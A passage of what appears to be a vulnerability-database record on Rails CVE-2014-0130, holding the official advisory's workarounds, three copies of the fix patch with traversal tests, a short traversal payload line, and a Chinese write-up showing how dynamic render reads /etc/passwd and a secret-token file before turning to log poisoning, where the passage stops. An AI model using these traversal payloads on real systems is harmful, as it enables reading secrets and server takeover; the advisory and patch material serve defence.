arbitrary files from the rails application server.\r\n\r\nIn order to be vulnerable an application must specifically use globbing routes[1] in combination with the :action parameter. The purpose of the route globbing feature is to allow parameters to contain characters which would otherwise be regarded as separators, for example '/' and '.'. As these characters have semantic meaning within template filenames, it is highly unlikely that applications are deliberately combining these functions.\r\n\r\nTo determine if you are vulnerable, search your application's routes files for '*action' and if you find any, use one of the work arounds below.\r\n\r\nReleases\r\n--------\r\nThe 4.1.1, 4.0.5 and 3.2.18 releases are available at the normal locations.\r\n\r\nWorkarounds\r\n-----------\r\nThe simplest workaround is to simply not use globbing matches for the :action parameter. As action methods cannot contain a '/' character, the simple matching should be sufficient. So replace\r\n\r\n `get 'my_url/*action', controller: 'asdf'`\r\n\r\nwith\r\n\r\n ` get 'my_url/:action', controller: 'asdf'`\r\n\r\nIf your application depends on this functionality, you will need to rename the route parameter and add an explicit action:\r\n\r\n get 'my_url/*template_path', controller: 'asdf', action: 'display'\r\n\r\nThen add an action which renders explicitly:\r\n\r\n```\r\n def display\r\n if !params[:template_path].index('.')\r\n render file: params[:template_path]\r\n end\r\n end\r\n```\r\n\r\nNote: The path check in this example may not be suitable for your application, take care\r\n\r\n\r\nPatches \r\n------- \r\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset. \r\n\r\n* 4-1-directory_traversal.patch - Patch for 4.1 series\r\n* 4-0-directory_traversal.patch - Patch for 4.0 series\r\n* 3-2-directory_traversal.patch - Patch for 3.2 series\r\n\r\nPlease note that only the 4.1.x, 4.0.x and 3.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\r\n\r\nCredits \r\n------- \r\nThanks to Ville Lautanala of Flowdock for reporting the vulnerability to us, and working with us on a fix.\r\n\r\n[1] http://guides.rubyonrails.org/routing.html#route-globbing-and-wildcard-segments\r\n\r\n\r\n[ CONTENT OF TYPE text/html SKIPPED ]\r\n\r\n>From 0f3b7d1a319383f743f9938e1eed00f0fba7a367 Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n <rafaelmfranca@...il.com>\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n```\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions(+), 4 deletions(-)\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex fd6a46f..2541125 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -112,7 +112,7 @@ module AbstractController\r\n def process(action, *args)\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action(action_name)\r\n+ unless action_name = _find_action_name(action_name)\r\n raise ActionNotFound, \"The action '#{action}' could not be found for #{self.class.name}\"\r\n end\r\n \r\n@@ -138,7 +138,7 @@ module AbstractController\r\n # available action consider actions that are also available\r\n # through other means, for example, implicit render ones.\r\n def available_action?(action_name)\r\n- method_for_action(action_name).present?\r\n+ _find_action_name(action_name).present?\r\n end\r\n \r\n private\r\n@@ -182,6 +182,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * <tt>action_name</tt> - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * <tt>string</tt> - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name(action_name)\r\n+ _valid_action_name?(action_name) && method_for_action(action_name)\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -203,11 +220,16 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * <tt>string</tt> - The name of the method that handles the action\r\n- # * <tt>nil</tt> - No method name could be found. Raise ActionNotFound.\r\n+ # * <tt>nil</tt> - No method name could be found.\r\n def method_for_action(action_name)\r\n if action_method?(action_name) then action_name\r\n elsif respond_to?(:action_missing, true) then \"_handle_action_missing\"\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?(action_name)\r\n+ action_name.to_s !~ Regexp.new(File::SEPARATOR)\r\n+ end\r\n end\r\n end\r\n```\r\n\r\n```\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n \"render_implicit_action/simple/hello_world.html.erb\" => \"Hello world!\",\r\n \"render_implicit_action/simple/hyphen-ated.html.erb\" => \"Hello hyphen-ated!\",\r\n \"render_implicit_action/simple/not_implemented.html.erb\" => \"Not Implemented\"\r\n- )]\r\n+ ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]\r\n \r\n def hello_world() end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test \"render does not traverse the file system\" do\r\n+ assert_raises(AbstractController::ActionNotFound) do\r\n+ action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)\r\n+ SimpleController.action(action_name).call(Rack::MockRequest.env_for(\"/\"))\r\n+ end\r\n+ end\r\n+\r\n test \"available_action? returns true for implicit actions\" do\r\n assert SimpleController.new.available_action?(:hello_world)\r\n assert SimpleController.new.available_action?(:\"hyphen-ated\")\r\n assert SimpleController.new.available_action?(:not_implemented)\r\n end\r\n+\r\n+ test \"available_action? does not allow File::SEPARATOR on the name\" do\r\n+ action_name = %w(evil .. .. path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+\r\n+ action_name = %w(evil path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+ end\r\n end\r\n end\r\n```\r\n\r\n1.9.1\r\n\r\n\r\n>From a8ecbfde294a2ec53f034e729d663cb266dc9e62 Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n <rafaelmfranca@...il.com>\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n```\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions(+), 4 deletions(-)\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex af5de81..26f8160 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -127,7 +127,7 @@ module AbstractController\r\n def process(action, *args)\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action(action_name)\r\n+ unless action_name = _find_action_name(action_name)\r\n raise ActionNotFound, \"The action '#{action}' could not be found for #{self.class.name}\"\r\n end\r\n \r\n@@ -160,7 +160,7 @@ module AbstractController\r\n # ==== Returns\r\n # * <tt>TrueClass</tt>, <tt>FalseClass</tt>\r\n def available_action?(action_name)\r\n- method_for_action(action_name).present?\r\n+ _find_action_name(action_name).present?\r\n end\r\n \r\n private\r\n@@ -204,6 +204,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * <tt>action_name</tt> - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * <tt>string</tt> - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name(action_name)\r\n+ _valid_action_name?(action_name) && method_for_action(action_name)\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -225,7 +242,7 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * <tt>string</tt> - The name of the method that handles the action\r\n- # * <tt>nil</tt> - No method name could be found. Raise ActionNotFound.\r\n+ # * <tt>nil</tt> - No method name could be found.\r\n def method_for_action(action_name)\r\n if action_method?(action_name)\r\n action_name\r\n@@ -233,5 +250,10 @@ module AbstractController\r\n \"_handle_action_missing\"\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?(action_name)\r\n+ action_name.to_s !~ Regexp.new(File::SEPARATOR)\r\n+ end\r\n end\r\n end\r\n```\r\n\r\n```\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n \"render_implicit_action/simple/hello_world.html.erb\" => \"Hello world!\",\r\n \"render_implicit_action/simple/hyphen-ated.html.erb\" => \"Hello hyphen-ated!\",\r\n \"render_implicit_action/simple/not_implemented.html.erb\" => \"Not Implemented\"\r\n- )]\r\n+ ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]\r\n \r\n def hello_world() end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test \"render does not traverse the file system\" do\r\n+ assert_raises(AbstractController::ActionNotFound) do\r\n+ action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)\r\n+ SimpleController.action(action_name).call(Rack::MockRequest.env_for(\"/\"))\r\n+ end\r\n+ end\r\n+\r\n test \"available_action? returns true for implicit actions\" do\r\n assert SimpleController.new.available_action?(:hello_world)\r\n assert SimpleController.new.available_action?(:\"hyphen-ated\")\r\n assert SimpleController.new.available_action?(:not_implemented)\r\n end\r\n+\r\n+ test \"available_action? does not allow File::SEPARATOR on the name\" do\r\n+ action_name = %w(evil .. .. path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+\r\n+ action_name = %w(evil path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+ end\r\n end\r\n end\r\n```\r\n1.9.1\r\n\r\n\r\n>From 529720df0193991c66350154e8bed5a59dbaacfe Mon Sep 17 00:00:00 2001\r\nFrom: =?UTF-8?q?Rafael=20Mendon=C3=A7a=20Fran=C3=A7a?=\r\n <rafaelmfranca@...il.com>\r\nDate: Thu, 17 Apr 2014 16:50:39 -0300\r\nSubject: [PATCH] Only accept actions without File::SEPARATOR in the name.\r\n\r\nThis will avoid directory traversal in implicit render.\r\n\r\nFixes: CVE-2014-0130\r\n---\r\n\r\n```\r\n actionpack/lib/abstract_controller/base.rb | 28 +++++++++++++++++++---\r\n .../new_base/render_implicit_action_test.rb | 17 ++++++++++++-\r\n 2 files changed, 41 insertions(+), 4 deletions(-)\r\n\r\ndiff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb\r\nindex af5de81..26f8160 100644\r\n--- a/actionpack/lib/abstract_controller/base.rb\r\n+++ b/actionpack/lib/abstract_controller/base.rb\r\n@@ -127,7 +127,7 @@ module AbstractController\r\n def process(action, *args)\r\n @_action_name = action_name = action.to_s\r\n \r\n- unless action_name = method_for_action(action_name)\r\n+ unless action_name = _find_action_name(action_name)\r\n raise ActionNotFound, \"The action '#{action}' could not be found for #{self.class.name}\"\r\n end\r\n \r\n@@ -160,7 +160,7 @@ module AbstractController\r\n # ==== Returns\r\n # * <tt>TrueClass</tt>, <tt>FalseClass</tt>\r\n def available_action?(action_name)\r\n- method_for_action(action_name).present?\r\n+ _find_action_name(action_name).present?\r\n end\r\n \r\n private\r\n@@ -204,6 +204,23 @@ module AbstractController\r\n end\r\n \r\n # Takes an action name and returns the name of the method that will\r\n+ # handle the action.\r\n+ #\r\n+ # It checks if the action name is valid and returns false otherwise.\r\n+ #\r\n+ # See method_for_action for more information.\r\n+ #\r\n+ # ==== Parameters\r\n+ # * <tt>action_name</tt> - An action name to find a method name for\r\n+ #\r\n+ # ==== Returns\r\n+ # * <tt>string</tt> - The name of the method that handles the action\r\n+ # * false - No valid method name could be found. Raise ActionNotFound.\r\n+ def _find_action_name(action_name)\r\n+ _valid_action_name?(action_name) && method_for_action(action_name)\r\n+ end\r\n+\r\n+ # Takes an action name and returns the name of the method that will\r\n # handle the action. In normal cases, this method returns the same\r\n # name as it receives. By default, if #method_for_action receives\r\n # a name that is not an action, it will look for an #action_missing\r\n@@ -225,7 +242,7 @@ module AbstractController\r\n #\r\n # ==== Returns\r\n # * <tt>string</tt> - The name of the method that handles the action\r\n- # * <tt>nil</tt> - No method name could be found. Raise ActionNotFound.\r\n+ # * <tt>nil</tt> - No method name could be found.\r\n def method_for_action(action_name)\r\n if action_method?(action_name)\r\n action_name\r\n@@ -233,5 +250,10 @@ module AbstractController\r\n \"_handle_action_missing\"\r\n end\r\n end\r\n+\r\n+ # Checks if the action name is valid and returns false otherwise.\r\n+ def _valid_action_name?(action_name)\r\n+ action_name.to_s !~ Regexp.new(File::SEPARATOR)\r\n+ end\r\n end\r\n end\r\ndiff --git a/actionpack/test/controller/new_base/render_implicit_action_test.rb b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\nindex 1e2191d..5b4885f 100644\r\n--- a/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n+++ b/actionpack/test/controller/new_base/render_implicit_action_test.rb\r\n@@ -6,7 +6,7 @@ module RenderImplicitAction\r\n \"render_implicit_action/simple/hello_world.html.erb\" => \"Hello world!\",\r\n \"render_implicit_action/simple/hyphen-ated.html.erb\" => \"Hello hyphen-ated!\",\r\n \"render_implicit_action/simple/not_implemented.html.erb\" => \"Not Implemented\"\r\n- )]\r\n+ ), ActionView::FileSystemResolver.new(File.expand_path('../../../controller', __FILE__))]\r\n \r\n def hello_world() end\r\n end\r\n@@ -33,10 +33,25 @@ module RenderImplicitAction\r\n assert_status 200\r\n end\r\n \r\n+ test \"render does not traverse the file system\" do\r\n+ assert_raises(AbstractController::ActionNotFound) do\r\n+ action_name = %w(.. .. fixtures shared).join(File::SEPARATOR)\r\n+ SimpleController.action(action_name).call(Rack::MockRequest.env_for(\"/\"))\r\n+ end\r\n+ end\r\n+\r\n test \"available_action? returns true for implicit actions\" do\r\n assert SimpleController.new.available_action?(:hello_world)\r\n assert SimpleController.new.available_action?(:\"hyphen-ated\")\r\n assert SimpleController.new.available_action?(:not_implemented)\r\n end\r\n+\r\n+ test \"available_action? does not allow File::SEPARATOR on the name\" do\r\n+ action_name = %w(evil .. .. path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+\r\n+ action_name = %w(evil path).join(File::SEPARATOR)\r\n+ assert_equal false, SimpleController.new.available_action?(action_name.to_sym)\r\n+ end\r\n end\r\n end\r\n```", "cvss3": {}, "published": "2017-04-28T00:00:00", "type": "seebug", "title": "Ruby on Rails 'implicit render' functionality Directory Traversal Vulnerability (CVE-2014-0130)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2014-0130"], "modified": "2017-04-28T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-93066", "id": "SSV:93066", "sourceData": "\n \u53c2\u8003PoC \u94fe\u63a5\uff1ahttps://github.com/omarkurt/cve-2014-0130\r\nPayload : site/api/%5C../%5C../%5C../%5C../%5C../{{CAT_DIR}}\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-93066", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2017-11-19T12:18:41", "description": "\u5982\u679c\u4f60\u7684\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528\u7684\u52a8\u6001\u6a21\u7248\u8def\u5f84 (\u4f8b\u5982: `render params[:id]`) \u90a3\u4e48\u4f60\u7684\u7a0b\u5e8f\u5c06\u4f1a\u5b58\u5728\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u548c\u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e. \u8bf7\u628a\u4f60\u7684 Rails \u5347\u7ea7\u5230\u6700\u65b0\u7248\u672c, \u6216\u8005\u91cd\u6784\u4f60\u7684 `controllers`\u3002\r\n\r\n\u6211\u4eec\u5c06\u5c55\u793a\u5982\u4f55\u5728\u7279\u5b9a\u73af\u5883\u4e0b\u4f7f\u7528\u4ee3\u7801\u6267\u884c\u548c\u672c\u5730\u5305\u542b\u6f0f\u6d1e\u53bb\u653b\u51fb Ruby on Rails \u3002\r\nRails\u7684\u63a7\u5236\u5668\u6709\u5305\u542b\u6307\u5b9a\u6e32\u67d3\u6587\u4ef6\u7684\u529f\u80fd\uff0c\u4e3e\u4e2a\u4f8b\u5b50, \u5f53\u6211\u4eec\u8c03\u7528 show \u65b9\u6cd5\u7684\u65f6\u5019\uff0c\u5982\u679c\u6ca1\u6709\u5b9a\u4e49\u5176\u4ed6\u6e32\u67d3\u65b9\u6cd5\uff0c\u8be5\u6846\u67b6\u5c06\u4f1a\u9690\u85cf\u6e32\u67d3 `show.html.erb` \u6587\u4ef6\u3002\r\n\r\n> \u5728\u7edd\u5927\u591a\u6570\u60c5\u51b5\u4e0b\uff0c\u5f00\u53d1\u8005\u4f1a\u8f93\u51fa\u4e0d\u540c\u7684\u683c\u5f0f\uff0c\u4f8b\u5982\uff1a\u6587\u672c, JSON, XML \u6216\u8005\u5176\u4ed6\u4efb\u4f55\u683c\u5f0f\uff0c\u6216\u8005\u67e5\u770b\u4e00\u4e2a\u6587\u4ef6, \u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b, \u5c31\u4f1a\u4f7f\u7528\u4e00\u4e2a\u53ef\u4ee5\u52a8\u6001\u6e32\u67d3\u7684\u6a21\u7248\u8bed\u8a00\uff0c\u4f8b\u5982 ERB, HAML, \u6216\u8005\u5176\u4ed6\u7684\u4ec0\u4e48. \u4f46\u662f\u6709\u51e0\u79cd\u65b9\u6cd5\u53ef\u4ee5\u4fee\u6539\u4ed6\u4eec\u5c55\u793a\u7684\u5185\u5bb9, \u5bf9\u6211\u4eec\u6765\u8bf4\uff0c\u6211\u4eec\u53ea\u8981\u76ef\u7740\u6e32\u67d3\u7684\u65b9\u6cd5\u5c31\u597d\u4e86. The Rails \u7684\u6587\u6863\u5b9a\u4e49\u4e86\u51e0\u79cd\u6e32\u67d3\u6a21\u7248\u548c\u5b9a\u4e49\u5185\u5bb9\u7684\u65b9\u6cd5 , \u5305\u62ec\u6307\u5b9a\u6a21\u7248\u7684\u8def\u5f84\u7684 `file:` \u53c2\u6570\u3002\r\n\r\n\r\n\u5982\u679c\u4f60\u5df2\u7ecf\u9605\u8bfb\u8fc7[\u89e3\u51b3\u65b9\u6cd5\u7684\u6587\u6863](http://guides.rubyonrails.org/layouts_and_rendering.html)\uff0c\u4f46\u662f\u4e0d\u786e\u5b9a\u4f60\u9700\u4e0d\u9700\u8981\u8fd9\u6837\u7684\u529f\u80fd\u2014\u2014\u5b9e\u9645\u4e0a\u5e76\u4e0d\u6b62\u4f60\u4e00\u4e2a\u4eba\u5b58\u5728\u8fd9\u6837\u7684\u7591\u60d1\u3002\u90a3\u4e48\u5148\u8ba9\u6211\u4eec\u770b\u770b\u4e0b\u9762\u8fd9\u6bb5\u4ee3\u7801:\r\n\r\n```\r\ndef show\r\n render params[:template]\r\nend\r\n```\r\n\r\n\u8fd9\u4e2a\u4ee3\u7801\u770b\u8d77\u6765\u4f3c\u4e4e\u5f88\u7b80\u5355,\u4f46\u662f\u8c01\u4e5f\u60f3\u4e0d\u5230\u4e00\u4e2a\u63a7\u5236\u5668\u53ea\u662f\u4e3a\u4e86\u6e32\u67d3\u6a21\u7248, \u4ed6\u5b9a\u4e49\u4e86\u4e00\u4e2a `template` \u53c2\u6570. \u4f46\u662f\u4ed6\u6ca1\u6709\u88ab\u8fc7\u6ee4\u8fc7, \u7136\u540e Rails \u5c31\u4f1a\u53bb\u627e\u6307\u5b9a\u7684\u6a21\u7248. , \u4f46\u662f\u8fd9\u4e2a\u6a21\u7248\u5728\u54ea\u5462?\u662f views \u76ee\u5f55\uff0c\u8fd8\u662f\u6839\u76ee\u5f55\uff0c\u53c8\u6216\u8005\u662f\u5176\u4ed6\u76ee\u5f55? \u96be\u9053\u4ed6\u662f\u671f\u5f85\u4e00\u4e2a\u6a21\u677f\u6587\u4ef6\u540d\uff0c\u6216\u8005\u662f\u4e00\u4e2a\u7279\u6b8a\u540e\u7f00\u7684\u6587\u4ef6\u540d \uff0c\u8fd8\u662f\u8bf4\u4e00\u4e2a\u5b8c\u6574\u7684\u8def\u5f84? \u5e26\u7740\u8fd9\u4e9b\u672a\u77e5\u7684\u95ee\u9898\u7ee7\u7eed\u63a2\u7d22\u4e0b\u53bb\u3002\r\n\r\n<br>\r\n\r\n### \u95ee\u9898\u89e3\u7b54\r\n\r\n**\u52a8\u6001\u6e32\u67d3\u673a\u5236\u662f\u7528\u4e00\u4e2a\u51fd\u6570\u89e3\u51b3\u5927\u91cf\u95ee\u9898\u7684\u6700\u597d\u7684\u4f8b\u5b50\u3002\u8fd9\u4e5f\u5c31\u662f\u4ed6\u7684\u95ee\u9898\u6240\u5728\u3002**\r\n\r\n\u8ba9\u6211\u4eec\u5047\u8bbe\u6e32\u67d3\u673a\u5236\u662f\u4ece `app/views/user/#{params[:template]}` \u8def\u5f84\u8bfb\u53d6\u6587\u4ef6 \u2013 \u8fd9\u4f3c\u4e4e\u662f\u4e00\u4e2a\u5408\u7406\u7684\u60f3\u6cd5. \u5982\u679c\u6211\u4eec\u628a template \u53c2\u6570\u7684\u503c\u8bbe\u7f6e\u4e3a dashboard ,\u4ed6\u5c06\u52a0\u8f7d `app/views/user/dashboard.{ext}`, .ext \u662f\u4e00\u4e2a\u5728\u767d\u540d\u5355\u91cc\u7684\u540e\u7f00\u540d (\u5982 .html, .haml, .html.erb, etc.)\r\n\r\n\r\n\r\n\u90a3\u8ba9\u6211\u4eec\u73b0\u5728\u60f3\u60f3\uff0c\u5982\u679c\u628a template \u7684\u503c\u8bbe\u7f6e\u4e3a: `../admin/dashboard`. \u4ed6\u5c06\u4f1a\u8fd4\u56de\u4ec0\u4e48\u6837\u7684\u7ed3\u679c\u7ed9\u6211\u4eec\u5462? \u8fd9\u53ef\u80fd\u6bd4\u8f83\u96be\u77e5\u9053, \u4f46\u662f\u6211\u4eec\u7ecf\u8fc7\u5c1d\u8bd5\u65f6\u5019\uff0c\u4ed6\u63d0\u793a\u6211\u4eec\u7f3a\u5c11\u6a21\u7248\u3002\r\n\r\n\r\n\r\n\u901a\u8fc7\u5206\u6790\u9519\u8bef\u63d0\u793a,\u53ef\u662f\u770b\u51fa\u4ed6\u8bd5\u56fe\u4ece `RAILS_ROOT/app/views`, `RAILS_ROOT` \u548c\u7cfb\u7edf\u6839\u76ee\u5f55\u53bb\u5bfb\u627e\u6587\u4ef6. \u8fd9\u6709\u70b9\u8ba9\u4eba\u86cb\u75bc, \u56e0\u4e3a\u4ed6\u4e3a\u4ec0\u4e48\u8981\u4ece\u7cfb\u7edf\u7684\u6839\u76ee\u5f55\u53bb\u5bfb\u627e\u6211\u4eec\u9700\u8981\u7684\u6a21\u7248\u6587\u4ef6\u5462?\r\n\r\n> \u901a\u8fc7\u9ed1\u5ba2\u7684\u672c\u80fd\u53cd\u5e94\uff0c\u6211\u628a\u53c2\u6570\u7684\u5185\u5bb9\u8bbe\u7f6e\u4e3a `/etc/passwd` , \u5e76\u4e14\u6211\u4eec\u786e\u5b9e\u8bfb\u53d6\u5230\u4e86 `passwd` \u6587\u4ef6. \u8fd9\u662f\u4e00\u4e2a\u91cd\u5927\u7684\u53d1\u73b0.\r\n\r\n\r\n\r\n\u65e2\u7136\u6211\u4eec\u80fd\u591f\u8bfb\u53d6 `passwd` \u6587\u4ef6\uff0c \u90a3\u4e48\u6211\u4eec\u662f\u4e0d\u662f\u4e5f\u80fd\u8bfb\u53d6\u5e94\u7528\u7a0b\u5e8f\u7684\u6e90\u7801\u548c\u914d\u7f6e\u6587\u4ef6\u5462, \u8ba9\u6211\u4eec\u628a\u53c2\u6570\u8bbe\u7f6e\u4e3a `config/initializers/secrettoken.rb` \u770b\u770b\u3002\r\n\r\n\r\n\r\n> \u522b\u5fd8\u4e86\u662f\u4e3a\u4ec0\u4e48\u9020\u6210\u4e86\u8fd9\u6837\u7684\u6f0f\u6d1e\uff0c\u662f\u56e0\u4e3a\u4f60\u9009\u62e9\u4e86\u52a8\u6001\u8bbe\u7f6e\u6a21\u7248\u8def\u5f84\u5bfc\u81f4\u7684\u3002\r\n\r\n```\r\ndef show\r\n render params[:template]\r\nend\r\n```\r\n\r\n> \u8fd9\u53ea\u662f\u4e00\u6bb5\u7247\u6bb5\u5e76\u4e14\u7b80\u5355\u7684\u4ee3\u7801\uff0c\u5c31\u80fd\u9020\u6210\u8fd9\u6837\u7684\u6f0f\u6d1e\uff0c\u6211\u76f8\u4fe1\u6709\u4e0d\u5c11\u5f00\u53d1\u8005\u4f1a\u8fd9\u4e48\u5199\uff0c\u4f46\u662f\u8fd9\u8fd8\u4e0d\u662f\u6700\u7cdf\u7cd5\u7684\u95ee\u9898\u3002\r\n\r\n\u901a\u8fc7 Jeff Jarmoc \u7684\u4e00\u7bc7\u8bba\u6587 \"[The Anatomy of a Rails Vulnerability \u2013 CVE-2014-0130: From Directory Traversal to Shell,](http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf)\" \u6211\u4eec\u5f97\u77e5\uff0c\u53ef\u4ee5\u901a\u8fc7\u8fd9\u6837\u7684\u6f0f\u6d1e\u83b7\u53d6\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c.\r\n\r\nJeff \u7684\u8bba\u6587\u4ecb\u7ecd\u4e86\u4e00\u4e2a\u5728\u67d0\u4e9b\u7248\u672c\u7684 Rails \u62e5\u6709\u4e00\u4e2a\u76f8\u4f3c\u7684\u7f3a\u9677\uff0c Rail\u2019s implicit \u6e32\u67d3\u673a\u5236\u5141\u8bb8\u76ee\u5f55\u904d\u5386, \u6216\u8005\u66f4\u51c6\u786e\u7684\u8bf4, **\u672c\u5730\u6587\u4ef6\u5305\u542b**, \u8fd9\u662f\u4e00\u4e2a\u56e0\u4e3a\u5f00\u53d1\u8005\u5bfc\u81f4\u7684\u6f0f\u6d1e.\r\n\r\n\r\n> \u5728\u6df1\u5165\u6316\u6398\u8fd9\u4e2a\u6f0f\u6d1e\u4e4b\u524d\u6211\u4eec\u5148\u601d\u8003\u4e0b\uff0c\u6211\u4eec\u73b0\u5728\u62e5\u6709\u7684\u662f**\u672c\u5730\u5305\u542b**\uff0c\u800c\u4e0d\u662f\u76ee\u5f55\u904d\u5386. \u4e0d\u8fc7\u6211\u4eec\u62e5\u6709\u7684\u4e00\u4e2a\u4f18\u52bf\u5c31\u662f, \u6211\u4eec\u53ef\u4ee5**\u52a0\u8f7d\u53ef\u6267\u884c\u6587\u4ef6 (ERB)**. \u4f20\u7edf\u610f\u4e49\u4e0a\u6765\u8bf4\u76ee\u5f55\u904d\u5386\u53ea\u80fd\u8fd4\u56de\u4e00\u4e9b\u4e0d\u53ef\u6267\u884c\u7684\u6587\u4ef6\u5185\u5bb9, \u6bd4\u5982\u8bf4 CSV \u6587\u4ef6. \u6240\u4ee5\u4ece\u672c\u8d28\u4e0a\u6765\u8bf4, \u6211\u4eec\u4e0d\u4ec5\u53ef\u4ee5\u8bfb\u53d6\u7a0b\u5e8f\u7684\u6e90\u4ee3\u7801, \u8fd8\u53ef\u4ee5\u8bfb\u53d6\u7cfb\u7edf\u6587\u4ef6, \u800c\u4e14\u6211\u4eec\u8fd8\u80fd\u6267\u884c ruby \u4ee3\u7801\uff0c\u662f\u4e0d\u662f\u5c4c\u5c4c\u7684. \u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u6267\u884c ruby \u4ee3\u7801, \u6240\u4ee5\u6211\u4eec\u62e5\u6709\u4e0e web server \u540c\u7ea7\u522b\u7684\u6743\u9650\u53bb\u6267\u884c\u7cfb\u7edf\u547d\u4ee4.\r\n\r\n\u4ece\u6587\u4ef6\u5305\u542b\u5230\u4ee3\u7801\u6267\u884c\uff0c\u6211\u4eec\u9700\u8981\u91c7\u7528\u4e00\u79cd\u53eb\u65e5\u5fd7\u6c61\u67d3\u7684\u624b\u6cd5, 